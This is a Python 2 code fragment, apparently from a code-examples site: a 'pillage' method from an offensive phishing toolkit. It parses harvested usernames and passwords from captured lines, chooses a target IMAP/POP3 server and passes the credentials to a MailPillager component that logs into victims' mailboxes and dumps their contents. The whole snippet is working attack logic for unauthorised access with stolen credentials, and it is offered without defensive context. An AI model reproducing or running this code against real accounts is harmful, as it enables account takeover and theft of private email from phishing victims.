Esempio n. 1
0
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        if ((not username) or (not password)):
            return

        if (not username + ":" + password in self.pillaged_users):
            self.pillaged_users.append(username + ":" + password)

            if (not self.mp):
                self.mp = MailPillager()

            if (not self.bestMailServer):
                self.determineBestMailServer()

            if (not self.bestMailServer):
                self.display.error(
                    "No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(username=username,
                            password=password,
                            server=self.bestMailServer,
                            port=self.bestMailServerPort,
                            domain=self.config["domain_name"],
                            outputdir=self.logpath)